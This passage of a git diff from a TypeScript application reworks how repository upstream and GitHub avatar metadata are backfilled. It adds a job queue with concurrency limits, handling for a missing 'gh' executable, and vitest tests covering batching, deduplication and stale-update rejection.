+      .mockResolvedValueOnce({ upstream: undefined, origin })
+      .mockResolvedValueOnce({ upstream: parent, origin })
+    await f.owner.run()
+    expect(f.repos[0].upstream).toBeUndefined()
+    expect(f.repos[0].repoIcon).toEqual(originIcon)
+    await f.owner.run()
+    expect(f.repos[0].upstream).toEqual(parent)
+    expect(f.repos[0].repoIcon).toEqual({
+      ...originIcon,
+      src: 'https://github.com/acme.png?size=64',
+      label: 'acme/widget'
     })
+    expect(probe).toHaveBeenCalledTimes(2)
+    expect(f.notify).toHaveBeenCalledTimes(2)
   })
+
+  it('does not reprobe a proved negative or an explicit null icon', async () => {
+    const f = fixture([makeRepo('negative'), makeRepo('explicit', { repoIcon: null })])
+    probe.mockResolvedValue({ upstream: null, origin: null })
+    await f.owner.run()
+    await f.owner.run()
+    expect(f.repos.map((repo) => repo.upstream)).toEqual([null, null])
+    expect(f.repos[1].repoIcon).toBeNull()
+    expect(probe).toHaveBeenCalledTimes(2)
+    expect(f.notify).toHaveBeenCalledTimes(1)
+  })
+
+  it.each(['removed', 'moved', 'folder', 'chosen-icon', 'selected-origin'] as const)(
+    'rejects stale metadata after %s changes while hosted work is pending',
+    async (change) => {
+      const f = fixture([makeRepo()])
+      const result = Promise.withResolvers<RepoUpstreamProbe>()
+      const started = Promise.withResolvers<void>()
+      probe.mockImplementationOnce(() => {
+        started.resolve()
+        return result.promise
+      })
+      const work = f.owner.run()
+      await started.promise
+      if (change === 'removed') {
+        f.repos.splice(0, 1)
+      }
+      if (change === 'moved') {
+        f.repos[0] = { ...f.repos[0], path: '/elsewhere' }
+      }
+      if (change === 'folder') {
+        f.repos[0] = { ...f.repos[0], kind: 'folder' }
+      }
+      if (change === 'chosen-icon') {
+        f.repos[0] = { ...f.repos[0], repoIcon: { type: 'emoji', emoji: '🚀' } }
+      }
+      if (change === 'selected-origin') {
+        f.repos[0] = { ...f.repos[0], upstream: null }
+      }
+      result.resolve({ upstream: parent, origin })
+      await work
+      if (change === 'chosen-icon') {
+        expect(f.repos[0].repoIcon).toEqual({ type: 'emoji', emoji: '🚀' })
+        expect(f.repos[0].upstream).toEqual(parent)
+      } else if (change === 'selected-origin') {
+        expect(f.repos[0].upstream).toBeNull()
+        expect(f.repos[0].repoIcon).toEqual(originIcon)
+      } else {
+        expect(f.updateRepo).not.toHaveBeenCalled()
+      }
+    }
+  )
+
+  it.each([12, 120])(
+    'serializes and deduplicates a finite %i-row batch with one notice',
+    async (count) => {
+      const f = fixture(Array.from({ length: count }, (_, index) => makeRepo(`repo-${index}`)))
+      const gate = Promise.withResolvers<RepoUpstreamProbe>()
+      const started = Promise.withResolvers<void>()
+      let active = 0
+      let peak = 0
+      probe.mockImplementation(async () => {
+        active++
+        peak = Math.max(peak, active)
+        started.resolve()
+        await gate.promise
+        active--
+        return { upstream: null, origin: null }
+      })
+      const batch = f.owner.run()
+      await started.promise
+      const duplicate = f.owner.enqueue(f.repos)
+      const required = f.owner.resolve(f.repos[0])
+      gate.resolve({ upstream: null, origin: null })
+      await Promise.all([batch, duplicate, required])
+      expect(peak).toBe(1)
+      expect(probe).toHaveBeenCalledTimes(count)
+      expect(f.updateRepo).toHaveBeenCalledTimes(count)
+      expect(f.notify).toHaveBeenCalledTimes(1)
+      await f.owner.run()
+      expect(probe).toHaveBeenCalledTimes(count)
+    }
+  )
+
+  it('publishes a completed finite batch while a later batch is still pending', async () => {
+    const f = fixture([makeRepo('first'), makeRepo('later')])
+    const first = Promise.withResolvers<RepoUpstreamProbe>()
+    const later = Promise.withResolvers<RepoUpstreamProbe>()
+    probe.mockImplementationOnce(() => first.promise).mockImplementationOnce(() => later.promise)
+    const a = f.owner.enqueue([f.repos[0]])
+    const b = f.owner.enqueue([f.repos[1]])
+    first.resolve({ upstream: null, origin: null })
+    await a
+    expect(f.notify).toHaveBeenCalledTimes(1)
+    later.resolve({ upstream: null, origin: null })
+    await b
+    expect(f.notify).toHaveBeenCalledTimes(2)
+  })
+
+  it.each([12, 120])(
+    'starts a required row ahead of %i unrelated background rows without duplicating it',
+    async (count) => {
+      const f = fixture(Array.from({ length: count }, (_, index) => makeRepo(`repo-${index}`)))
+      const blocker = Promise.withResolvers<RepoUpstreamProbe>()
+      probe
+        .mockImplementationOnce(() => blocker.promise)
+        .mockResolvedValue({ upstream: parent, origin })
+      const batch = f.owner.run()
+      const selected = f.owner.resolve(f.repos[count - 1])
+      try {
+        await vi.waitFor(() => expect(f.repos[count - 1].upstream).toEqual(parent))
+        await selected
+        expect(f.repos[0].upstream).toBeUndefined()
+        expect(
+          probe.mock.calls.filter(([path]) => path === `/workspace/repo-${count - 1}`)
+        ).toHaveLength(1)
+      } finally {
+        blocker.resolve({ upstream: null, origin: null })
+        await batch
+      }
+      expect(probe).toHaveBeenCalledTimes(count)
+      expect(f.notify).toHaveBeenCalledTimes(1)
+    }
+  )
+
+  it('reserves optional capacity and admits required jobs in request order with at most four active', async () => {
+    const f = fixture(Array.from({ length: 8 }, (_, index) => makeRepo(`repo-${index}`)))
+    const pending = new Map<string, ReturnType<typeof Promise.withResolvers<RepoUpstreamProbe>>>()
+    const starts: string[] = []
+    let active = 0
+    let peak = 0
+    probe.mockImplementation(async (path) => {
+      active++
+      peak = Math.max(peak, active)
+      starts.push(path)
+      const result = Promise.withResolvers<RepoUpstreamProbe>()
+      pending.set(path, result)
+      const value = await result.promise
+      active--
+      return value
+    })
+    const batch = f.owner.run()
+    // Request order differs from the older background inventory order.
+    const required = [5, 4, 3, 2, 1].map((index) => f.owner.resolve(f.repos[index]))
+    const join = f.owner.resolve(f.repos[0])
+    try {
+      await vi.waitFor(() => expect(starts).toHaveLength(4))
+      expect(starts).toEqual([
+        '/workspace/repo-0',
+        '/workspace/repo-5',
+        '/workspace/repo-4',
+        '/workspace/repo-3'
+      ])
+      pending.get('/workspace/repo-4')!.resolve({ upstream: null, origin: null })
+      await vi.waitFor(() => expect(starts[4]).toBe('/workspace/repo-2'))
+      pending.get('/workspace/repo-5')!.resolve({ upstream: null, origin: null })
+      await vi.waitFor(() => expect(starts[5]).toBe('/workspace/repo-1'))
+      expect(peak).toBe(4)
+      expect(starts).not.toContain('/workspace/repo-6')
+    } finally {
+      probe.mockResolvedValue({ upstream: null, origin: null })
+      for (const result of pending.values()) {
+        result.resolve({ upstream: null, origin: null })
+      }
+      await Promise.all([batch, join, ...required])
+    }
+    expect(f.notify).toHaveBeenCalledTimes(1)
+    expect(probe).toHaveBeenCalledTimes(8)
+  })
+
+  it.each([12, 120])(
+    'does not serialize protected image payloads across %i rows',
+    async (count) => {
+      const icons = Array.from({ length: count }, (_, index) => ({
+        type: 'image' as const,
+        source: index % 2 ? ('upload' as const) : ('file' as const),
+        src: `data:image/png;base64,${'a'.repeat(350_000)}`
+      }))
+      const f = fixture(icons.map((repoIcon, index) => makeRepo(`repo-${index}`, { repoIcon })))
+      const gate = Promise.withResolvers<RepoUpstreamProbe>()
+      const started = Promise.withResolvers<void>()
+      probe
+        .mockImplementationOnce(() => {
+          started.resolve()
+          return gate.promise
+        })
+        .mockResolvedValue({ upstream: parent, origin })
+      const protectedIcons = new Set<unknown>(icons)
+      const serialized = vi.spyOn(JSON, 'stringify')
+      const batch = f.owner.run()
+      await started.promise
+      // A user replacing the captured protected image with an automatic icon must still survive.
+      f.repos[0] = {
+        ...f.repos[0],
+        repoIcon: { type: 'image', source: 'github', src: 'https://github.com/chosen.png' }
+      }
+      gate.resolve({ upstream: parent, origin })
+      await batch
+      const protectedCopies = serialized.mock.calls.filter(([value]) => protectedIcons.has(value))
+      serialized.mockRestore()
+      expect(protectedCopies).toHaveLength(0)
+      expect(f.repos.every((repo) => repo.upstream?.owner === 'acme')).toBe(true)
+      expect(f.repos[0].repoIcon).toEqual({
+        type: 'image',
+        source: 'github',
+        src: 'https://github.com/chosen.png'
+      })
+      expect(f.repos[1].repoIcon).toBe(icons[1])
+      expect(f.notify).toHaveBeenCalledTimes(1)
+    }
+  )
 })
diff --git a/src/main/runtime/repositories/repo-metadata-executable-absence.test.ts b/src/main/runtime/repositories/repo-metadata-executable-absence.test.ts
new file mode 100644
index 00000000000..4c7afda5031
--- /dev/null
+++ b/src/main/runtime/repositories/repo-metadata-executable-absence.test.ts
@@ -0,0 +1,172 @@
+import { chmod, mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { createFakeSpawnedChild } from '../../../shared/__fixtures__/fake-spawned-child'
+import { partialRuntimeStore } from '../orca-runtime-tests/runtime-store-partial-fixture'
+import type { Repo } from '../../../shared/repo-types'
+
+const { spawnMock, gitMock } = vi.hoisted(() => ({ spawnMock: vi.fn(), gitMock: vi.fn() }))
+vi.mock('node:child_process', async (importOriginal) => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  spawn: spawnMock
+}))
+vi.mock('../../git/command-runner/git-exec-file', async (importOriginal) => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  gitExecFileAsync: gitMock
+}))
+
+import { RuntimeRepositoryForkBackfill } from './runtime-repository-fork-backfill'
+import { ghExecFileAsync } from '../../git/command-runner/gh-exec-file'
+import { GhExecutableAbsenceBatch } from '../../git/command-runner/gh-executable-absence-batch'
+
+const missing = () => Object.assign(new Error('spawn gh ENOENT'), { code: 'ENOENT', path: 'gh' })
+function successfulSpawn() {
+  const child = createFakeSpawnedChild(4321)
+  queueMicrotask(() => {
+    child.stdout?.emit(
+      'data',
+      Buffer.from('{"isFork":true,"parent":{"owner":{"login":"acme"},"name":"widget"}}')
+    )
+    child.emit('exit', 0, null)
+    child.emit('close', 0, null)
+  })
+  return child
+}
+
+afterEach(() => {
+  vi.unstubAllEnvs()
+  vi.restoreAllMocks()
+  vi.resetAllMocks()
+})
+
+describe('finite metadata executable absence', () => {
+  it.each([12, 120])(
+    'shares only the missing executable across a %i-row real probe batch and retries next batch',
+    async (count) => {
+      const root = await mkdtemp(join(tmpdir(), 'orca-metadata-absence-'))
+      const search = join(root, 'bin')
+      await mkdir(search)
+      vi.stubEnv('PATH', search)
+      const repos: Repo[] = []
+      for (let i = 0; i < count; i++) {
+        const path = join(root, `repo-${i}`)
+        await mkdir(path)
+        repos.push({
+          id: `repo-${i}`,
+          path,
+          displayName: 'widget',
+          kind: 'git',
+          badgeColor: 'blue',
+          addedAt: 1
+        })
+      }
+      gitMock.mockImplementation(async (args: string[], options: { cwd: string }) => {
+        if (args[2] === 'origin') {
+          return { stdout: 'https://github.com/me/widget.git', stderr: '' }
+        }
+        if (options.cwd === repos[1].path) {
+          return { stdout: 'https://github.com/acme/widget.git', stderr: '' }
+        }
+        throw Object.assign(new Error('No such remote'), {
+          code: 2,
+          stderr: "error: No such remote 'upstream'"
+        })
+      })
+      const notify = vi.fn()
+      const store = partialRuntimeStore({
+        getRepos: () => repos,
+        getRepo: (id) => repos.find((repo) => repo.id === id),
+        updateRepo: (target, updates) => {
+          const repo = repos.find((repo) => repo.id === target.id)
+          if (!repo) {
+            return null
+          }
+          Object.assign(repo, updates)
+          return repo
+        }
+      })
+      const owner = new RuntimeRepositoryForkBackfill(() => store, notify)
+      spawnMock.mockImplementation(() => {
+        throw missing()
+      })
+      try {
+        await owner.run()
+        expect(spawnMock).toHaveBeenCalledTimes(1)
+        expect(repos[0].upstream).toBeUndefined()
+        expect(repos[0].repoIcon).toEqual({
+          type: 'image',
+          source: 'github',
+          src: 'https://github.com/me.png?size=64',
+          label: 'me/widget'
+        })
+        expect(repos[1].upstream).toEqual({ owner: 'acme', repo: 'widget', host: 'github.com' })
+        expect(notify).toHaveBeenCalledTimes(1)
+        spawnMock.mockImplementation(successfulSpawn)
+        await owner.run()
+        expect(repos.every((repo) => repo.upstream?.owner === 'acme')).toBe(true)
+        expect(spawnMock).toHaveBeenCalledTimes(count)
+        expect(notify).toHaveBeenCalledTimes(2)
+      } finally {
+        await rm(root, { recursive: true, force: true })
+      }
+    }
+  )
+
+  it('does not suppress a fresh explicit lookup, changed search context, or per-repository API failure', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-metadata-search-'))
+    const other = join(root, 'other')
+    await mkdir(other)
+    const batch = new GhExecutableAbsenceBatch()
+    const options = { cwd: root, env: { PATH: root } }
+    spawnMock.mockImplementation(() => {
+      throw missing()
+    })
+    try {
+      await expect(
+        batch.run(() => ghExecFileAsync(['repo', 'view', 'me/widget'], options))
+      ).rejects.toThrow('ENOENT')
+      await expect(
+        batch.run(() => ghExecFileAsync(['repo', 'view', 'me/widget'], options))
+      ).rejects.toThrow('ENOENT')
+      expect(spawnMock).toHaveBeenCalledTimes(1)
+      await expect(
+        batch.run(() =>
+          ghExecFileAsync(['repo', 'view', 'me/widget'], { ...options, env: { PATH: other } })
+        )
+      ).rejects.toThrow('ENOENT')
+      expect(spawnMock).toHaveBeenCalledTimes(2)
+      spawnMock.mockImplementation(successfulSpawn)
+      // A required action runs outside the batch's absence evidence and invalidates it on success.
+      await ghExecFileAsync(['repo', 'view', 'me/widget'], options)
+      await batch.run(() => ghExecFileAsync(['repo', 'view', 'me/widget'], options))
+      expect(spawnMock).toHaveBeenCalledTimes(4)
+      spawnMock.mockImplementationOnce(() => {
+        throw new Error('repository not authorized')
+      })
+      await expect(
+        batch.run(() => ghExecFileAsync(['repo', 'view', 'private/widget'], options))
+      ).rejects.toThrow('not authorized')
+      await batch.run(() => ghExecFileAsync(['repo', 'view', 'public/widget'], options))
+      expect(spawnMock).toHaveBeenCalledTimes(6)
+      // An existing wrapper with an absent interpreter is not proof that gh is absent.
+      await writeFile(
+        join(root, process.platform === 'win32' ? 'gh.exe' : 'gh'),
+        '#!/missing/interpreter\n'
+      )
+      await chmod(join(root, process.platform === 'win32' ? 'gh.exe' : 'gh'), 0o755)
+      spawnMock.mockImplementation(() => {
+        throw missing()
+      })
+      for (let i = 0; i < 2; i++) {
+        await expect(
+          batch.run(() => ghExecFileAsync(['repo', 'view', 'me/widget'], options))
+        ).rejects.toThrow('ENOENT')
+      }
+      expect(spawnMock).toHaveBeenCalledTimes(8)
+    } finally {
+      batch.close()
+      await rm(root, { recursive: true, force: true })
+    }
+  })
+})
diff --git a/src/main/runtime/repositories/runtime-nested-repo-import.ts b/src/main/runtime/repositories/runtime-nested-repo-import.ts
index f679dca89b7..9a4a796bf55 100644
--- a/src/main/runtime/repositories/runtime-nested-repo-import.ts
+++ b/src/main/runtime/repositories/runtime-nested-repo-import.ts
@@ -79,6 +79,7 @@ export class RuntimeNestedRepoImport {
       (repoPath) => ({
         path: repoPath,
         status: 'failed',
+        errorCode: 'not_in_scan',
         error: 'Repository was not found in the nested repo scan result'
       })
     )
@@ -88,7 +89,12 @@ export class RuntimeNestedRepoImport {
       try {
         await awaitWindowsHostGitEnvironmentReady({ cwd: repoPath })
         if (!(await isGitRepoAsync(repoPath))) {
-          results.push({ path: repoPath, status: 'failed', error: 'Not a valid git repository' })
+          results.push({
+            path: repoPath,
+            status: 'failed',
+            errorCode: 'not_git_repository',
+            error: 'Not a valid git repository'
+          })
           continue
         }
         const importRepoPath = await importTargetResolver.resolveLocal(repoPath)
@@ -143,6 +149,7 @@ export class RuntimeNestedRepoImport {
         results.push({
           path: repoPath,
           status: 'failed',
+          errorCode: 'import_failed',
           error: sanitizeImportError('Failed to import nested repository in runtime', error)
         })
       }
diff --git a/src/main/runtime/repositories/runtime-project-host-setup-controller.ts b/src/main/runtime/repositories/runtime-project-host-setup-controller.ts
index 87fd723ece6..5a0cb4ce49a 100644
--- a/src/main/runtime/repositories/runtime-project-host-setup-controller.ts
+++ b/src/main/runtime/repositories/runtime-project-host-setup-controller.ts
@@ -20,7 +20,10 @@ import {
   type ExecutionHostId
 } from '../../../shared/execution-host'
 import { getProjectHostSetupForRepo } from '../../../shared/project-host-setup-lookup'
-import { resolveImportedFolderProjectLink } from '../../../shared/imported-folder-project-identity'
+import {
+  linkImportedFolderToProject,
+  type RepositoryMetadataOwner
+} from '../../workspaces/catalog/imported-folder-project-link'
 import { invalidateAuthorizedRootsCache } from '../../ipc/worktrees/removal/registered-worktree-roots-cache'
 import { SshHostNotServedError } from '../../providers/ssh-host-not-served-error'
 import { runWorktreeChangeInvalidators } from '../../ipc/worktrees/listing/worktree-change-invalidators'
@@ -47,7 +50,7 @@ import {
   type ProjectHostSetupTarget
 } from '../../../shared/project-host-setup-target'
 
-type RuntimeProjectHostSetupDependencies = {
+type RuntimeProjectHostSetupDependencies = RepositoryMetadataOwner & {
   getStore: () => RuntimeStore | null
   listRepos: () => Repo[]
   addRepo: (path: string, kind: 'folder' | 'git', hostId: ExecutionHostId) => Promise<Repo>
@@ -260,14 +263,16 @@ export class RuntimeProjectHostSetupController {
     }
   }
 
-  private completeSetup(
+  private async completeSetup(
     args: ProjectHostSetupExistingFolderArgs,
     initialRepo: Repo,
     repoWasCreated: boolean,
     folderRemote: Pick<Repo, 'gitRemoteIdentity'>
-  ): ProjectHostSetupResult {
+  ): Promise<ProjectHostSetupResult> {
     try {
-      return this.linkRepo(args, initialRepo, folderRemote)
+      const result = await this.linkRepo(args, initialRepo, folderRemote)
+      this.deps.notifyReposChanged()
+      return result
     } catch (error) {
       if (repoWasCreated) {
         // Rollback must remove only this host's row, never a same-id sibling.
@@ -275,53 +280,25 @@ export class RuntimeProjectHostSetupController {
         this.deps.invalidateResolvedWorktrees()
         this.deps.invalidateWorktreeScan(initialRepo.id)
         invalidateAuthorizedRootsCache()
-        this.deps.notifyReposChanged()
       }
+      this.deps.notifyReposChanged()
       throw error
     }
   }
 
-  private linkRepo(
+  private async linkRepo(
     args: ProjectHostSetupExistingFolderArgs,
     initialRepo: Repo,
     folderRemote: Pick<Repo, 'gitRemoteIdentity'>
-  ): ProjectHostSetupResult {
-    const store = this.deps.getStore()
-    if (!store) {
-      throw new Error('runtime_unavailable')
-    }
-    assertWslMoveHostSetupWritable(store, {
-      projectId: args.projectId,
-      hostId: getRepoExecutionHostId(initialRepo),
-      repoId: initialRepo.id
-    })
-    let repo = initialRepo
-    let setup = getProjectHostSetupForRepo(this.listSetups(), repo)
-    if (setup.projectId !== args.projectId) {
-      const existingProject = this.listProjects().find((project) => project.id === args.projectId)
-      const updated = store.updateRepo(
-        repo,
-        resolveImportedFolderProjectLink(
-          { ...repo, ...folderRemote },
-          args.projectId,
-          existingProject?.providerIdentity ?? args.projectProviderIdentity
-        )
-      )
-      if (!updated) {
-        throw new Error(`Project setup repo disappeared before it could be linked: ${repo.id}`)
-      }
-      repo = updated
-      setup = getProjectHostSetupForRepo(this.listSetups(), repo)
-    }
-    const setupMethod = args.setupMethod ?? 'imported-existing-folder'
-    const updated = store.updateRepo(repo, { projectHostSetupMethod: setupMethod })
-    if (!updated) {
-      throw new Error(
-        `Project setup repo disappeared before setup metadata could be linked: ${repo.id}`
-      )
-    }
-    repo = updated
-    setup = getProjectHostSetupForRepo(this.listSetups(), repo)
+  ): Promise<ProjectHostSetupResult> {
+    const repo = await linkImportedFolderToProject(
+      this.deps.getStore,
+      initialRepo,
+      folderRemote,
+      args,
+      this.deps
+    )
+    const setup = getProjectHostSetupForRepo(this.listSetups(), repo)
     const project = this.listProjects().find((entry) => entry.id === setup.projectId)
     if (!project) {
       throw new Error(`Project setup was created without a project record: ${setup.projectId}`)
diff --git a/src/main/runtime/repositories/runtime-project-host-setup-git-remote-link.test.ts b/src/main/runtime/repositories/runtime-project-host-setup-git-remote-link.test.ts
index 57936ac536f..718f6c32c17 100644
--- a/src/main/runtime/repositories/runtime-project-host-setup-git-remote-link.test.ts
+++ b/src/main/runtime/repositories/runtime-project-host-setup-git-remote-link.test.ts
@@ -26,6 +26,7 @@ async function clonedRepo(remoteUrl: string): Promise<Repo> {
 function makeController(cloned: Repo) {
   const repos: Repo[] = []
   const store = {
+    getRepos: () => repos,
     getProjects: () => projectHostSetupProjectionFromRepos(repos).projects,
     getProjectHostSetups: () => projectHostSetupProjectionFromRepos(repos).setups,
     updateRepo: ({ id }: Pick<Repo, 'id'>, updates: Partial<Repo>) => {
@@ -55,6 +56,8 @@ function makeController(cloned: Repo) {
     invalidateResolvedWorktrees: vi.fn(),
     invalidateWorktreeScan: vi.fn(),
     notifyReposChanged: vi.fn(),
+    enqueueRepositoryMetadata: vi.fn(),
+    resolveRepositoryMetadata: vi.fn().mockResolvedValue(true),
     countLiveTerminalsForRepo: () => 0
   })
   return { controller, repos }
diff --git a/src/main/runtime/repositories/runtime-repository-clone-controller.ts b/src/main/runtime/repositories/runtime-repository-clone-controller.ts
index 7d74b2272e3..92fc7def209 100644
--- a/src/main/runtime/repositories/runtime-repository-clone-controller.ts
+++ b/src/main/runtime/repositories/runtime-repository-clone-controller.ts
@@ -23,7 +23,7 @@ import type {
 } from '../../../shared/git/clone/clone-target-check'
 import { runWithGitReadCacheInvalidation } from '../../git/source-control/git-read-cache-invalidation'
 import { invalidateAuthorizedRootsCache } from '../../ipc/worktrees/removal/registered-worktree-roots-cache'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { getRepoName } from '../../git/repo'
 import { inspectGitRepoForRegistrationAsync } from '../../git/repo-detection'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
@@ -216,7 +216,7 @@ export class RuntimeRepositoryCloneController {
     // cloneRepo validated and cloned locally; runtime row stamps do not change where files live.
     // Register Git's checkout path so the clone stays its own selected checkout.
     const repoPath = (await inspectGitRepoForRegistrationAsync(clonePath)).rootPath
-    const detected = await detectRepoIconAndUpstream({
+    const detected = await detectRepoLocalMetadata({
       repoPath,
       kind: 'git',
       executionHostId: LOCAL_EXECUTION_HOST_ID
diff --git a/src/main/runtime/repositories/runtime-repository-clone-host-dedupe.test.ts b/src/main/runtime/repositories/runtime-repository-clone-host-dedupe.test.ts
index d4840037fed..869a7504ff3 100644
--- a/src/main/runtime/repositories/runtime-repository-clone-host-dedupe.test.ts
+++ b/src/main/runtime/repositories/runtime-repository-clone-host-dedupe.test.ts
@@ -9,7 +9,7 @@ import { RuntimeRepositoryCloneController } from './runtime-repository-clone-con
 import type { RuntimeStore } from '../construction/runtime-store-contract'
 
 vi.mock('../../repository-icons/repo-icon-autodetect', () => ({
-  detectRepoIconAndUpstream: vi.fn().mockResolvedValue({})
+  detectRepoLocalMetadata: vi.fn().mockResolvedValue({})
 }))
 vi.mock('../../workspaces/creation/worktree-root-preparation', () => ({
   prepareLocalWorktreeRootForRepo: vi.fn().mockResolvedValue(undefined)
diff --git a/src/main/runtime/repositories/runtime-repository-command-surface.ts b/src/main/runtime/repositories/runtime-repository-command-surface.ts
index 8cc6306f3fb..4bf48c0edf9 100644
--- a/src/main/runtime/repositories/runtime-repository-command-surface.ts
+++ b/src/main/runtime/repositories/runtime-repository-command-surface.ts
@@ -3,6 +3,7 @@ import type { RuntimeHostedReviewCommands } from '../integrations/reviews/runtim
 import type { RuntimeNestedRepoImport } from './runtime-nested-repo-import'
 import type { RuntimeProjectGroupController } from './runtime-project-group-controller'
 import type { RuntimeProjectHostSetupController } from './runtime-project-host-setup-controller'
+import type { RuntimeRepositoryForkBackfill } from './runtime-repository-fork-backfill'
 import type { RuntimeRepositoryCloneController } from './runtime-repository-clone-controller'
 import type { RuntimeRepositoryHooksCommands } from './runtime-repository-hooks-commands'
 import type { RuntimeRepositoryIssueCommand } from './runtime-repository-issue-command'
@@ -97,7 +98,9 @@ type RuntimeRepositoryCommandOwners = {
 }
 
 export function installRuntimeRepositoryCommandSurface(
-  target: RuntimeRepositoryCommandSurface,
+  target: RuntimeRepositoryCommandSurface & {
+    readonly repositoryForkBackfill: RuntimeRepositoryForkBackfill
+  },
   owners: RuntimeRepositoryCommandOwners
 ): void {
   const host = owners.projectHostSetups
@@ -142,9 +145,23 @@ export function installRuntimeRepositoryCommandSurface(
     isGitAvailable: server.isGitAvailable.bind(server),
     listSparsePresets: sparse.list.bind(sparse),
     saveSparsePreset: sparse.save.bind(sparse),
-    addRepo: registrations.add.bind(registrations),
-    createRepo: registrations.create.bind(registrations),
-    cloneRepo: clones.clone.bind(clones),
+    addRepo: async (...args: Parameters<typeof registrations.add>) => {
+      const repo = await registrations.add(...args)
+      void target.repositoryForkBackfill.enqueue([repo])
+      return repo
+    },
+    createRepo: async (...args: Parameters<typeof registrations.create>) => {
+      const result = await registrations.create(...args)
+      if ('repo' in result) {
+        void target.repositoryForkBackfill.enqueue([result.repo])
+      }
+      return result
+    },
+    cloneRepo: async (...args: Parameters<typeof clones.clone>) => {
+      const repo = await clones.clone(...args)
+      void target.repositoryForkBackfill.enqueue([repo])
+      return repo
+    },
     checkCloneTarget: clones.checkTarget.bind(clones),
     showRepo: settings.show.bind(settings),
     setRepoBaseRef: settings.setBaseRef.bind(settings),
diff --git a/src/main/runtime/repositories/runtime-repository-fork-backfill.ts b/src/main/runtime/repositories/runtime-repository-fork-backfill.ts
index 94bedda433a..c4682c4c489 100644
--- a/src/main/runtime/repositories/runtime-repository-fork-backfill.ts
+++ b/src/main/runtime/repositories/runtime-repository-fork-backfill.ts
@@ -1,18 +1,30 @@
-import {
-  getRepoExecutionHostId,
-  getRepoSshConnectionId,
-  LOCAL_EXECUTION_HOST_ID
-} from '../../../shared/execution-host'
-import type { GitHubOwnerRepo } from '../../../shared/github/pull-request-types'
+import { getRepoExecutionHostId, getRepoSshConnectionId } from '../../../shared/execution-host'
 import type { Repo } from '../../../shared/repo-types'
-import { getRepoUpstream } from '../../github/client/fetch/repo-slug-upstream'
-import { detectGitHubAvatarIcon } from '../../repository-icons/repo-icon-autodetect'
+import { githubAvatarIcon, githubAvatarSlug } from '../../../shared/repo-icon'
+import { probeRepoUpstream } from '../../github/client/fetch/repo-slug-upstream'
+import { GhExecutableAbsenceBatch } from '../../git/command-runner/gh-executable-absence-batch'
 import type { RuntimeStore } from '../construction/runtime-store-contract'
 import { isWslMoveRepoBlocked } from '../../persistence/moving-wsl-projects/wsl-move-background-backoff'
 import { blockedWslDistroForPath, wslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate'
 
+type MetadataJob = {
+  store: RuntimeStore
+  repo: Repo
+  background: boolean
+  active: boolean
+  required: boolean
+  batch?: GhExecutableAbsenceBatch
+  done: Promise<boolean>
+  finish: (changed: boolean) => void
+}
+
 export class RuntimeRepositoryForkBackfill {
   private started = false
+  private active = 0
+  private backgroundActive = 0
+  private readonly jobs = new Map<RuntimeStore, Map<string, MetadataJob>>()
+  private readonly requiredQueue = new Set<MetadataJob>()
+  private readonly backgroundQueue = new Set<MetadataJob>()
 
   constructor(
     private readonly getStore: () => RuntimeStore | null,
@@ -27,64 +39,204 @@ export class RuntimeRepositoryForkBackfill {
     void this.run()
   }
 
-  async run(): Promise<void> {
+  run(): Promise<void> {
+    return this.enqueue(
+      (this.getStore()?.getRepos() ?? []).filter((repo) => repo.upstream === undefined)
+    )
+  }
+
+  async enqueue(repos: readonly Repo[]): Promise<void> {
+    const batch: Promise<boolean>[] = []
+    const availability = new GhExecutableAbsenceBatch()
     try {
-      const store = this.getStore()
-      if (!store) {
-        throw new Error('runtime_unavailable')
+      for (const repo of repos) {
+        const job = this.admit(repo)
+        if (!job || job.background) {
+          continue
+        }
+        job.background = true
+        job.batch = availability
+        if (!job.required && !job.active) {
+          this.backgroundQueue.add(job)
+        }
+        batch.push(job.done)
       }
-      let changed = false
-      for (const repo of store.getRepos()) {
-        // Resolve executionHostId too: raw connectionId misses SSH-only rows, whose gh/Git must never run here.
-        // WSL-move-fenced repos keep upstream unset for next startup retry.
-        if (
-          repo.upstream !== undefined ||
-          repo.kind === 'folder' ||
-          getRepoSshConnectionId(repo) ||
-          isWslMoveRepoBlocked(repo)
-        ) {
-          continue
-        }
-        // E9: gh/Git on a stopped distro's repo boots it; upstream stays unset for the next pass.
-        if (wslDistroForPath(repo.path) && (await blockedWslDistroForPath(repo.path))) {
-          continue
-        }
-        let upstream: GitHubOwnerRepo | null
-        try {
-          upstream = await getRepoUpstream(repo.path, null)
-        } catch {
-          continue
-        }
-        const repoIcon =
-          upstream && repo.repoIcon?.type === 'image' && repo.repoIcon.source === 'github'
-            ? await detectGitHubAvatarIcon(repo.path, LOCAL_EXECUTION_HOST_ID, upstream)
-            : null
-        // Qualify by host: WSL moves leave hidden local rows beside same-id host rows.
-        const hostId = getRepoExecutionHostId(repo)
-        const current = store
-          .getRepos()
-          .find(
-            (candidate) => candidate.id === repo.id && getRepoExecutionHostId(candidate) === hostId
-          )
-        if (!current || current.upstream !== undefined || isWslMoveRepoBlocked(current)) {
-          continue
-        }
-        const updates: Partial<Repo> = { upstream: upstream ?? null }
-        if (
-          repoIcon &&
-          current.repoIcon?.type === 'image' &&
-          current.repoIcon.source === 'github'
-        ) {
-          updates.repoIcon = repoIcon
-        }
-        store.updateRepo(current, updates)
-        changed = true
-      }
-      if (changed) {
+      this.drain()
+      // Each admitted finite batch owns its notice, independent of later arrivals.
+      const changes = await Promise.all(batch)
+      if (changes.some(Boolean)) {
         this.notifyChanged()
       }
-    } catch {
-      // Best-effort startup migration.
+    } finally {
+      availability.close()
     }
   }
+
+  async resolve(repo: Repo): Promise<boolean> {
+    if (this.current(this.getStore(), repo)?.upstream !== undefined) {
+      return true
+    }
+    const job = this.admit(repo)
+    if (!job) {
+      return false
+    }
+    if (!job.required && !job.active) {
+      this.backgroundQueue.delete(job)
+      this.requiredQueue.add(job)
+    }
+    job.required = true
+    this.drain()
+    await job.done
+    return true
+  }
+
+  private key(repo: Repo): string {
+    return `${repo.id}\0${getRepoExecutionHostId(repo)}\0${repo.path}\0${repo.kind}`
+  }
+
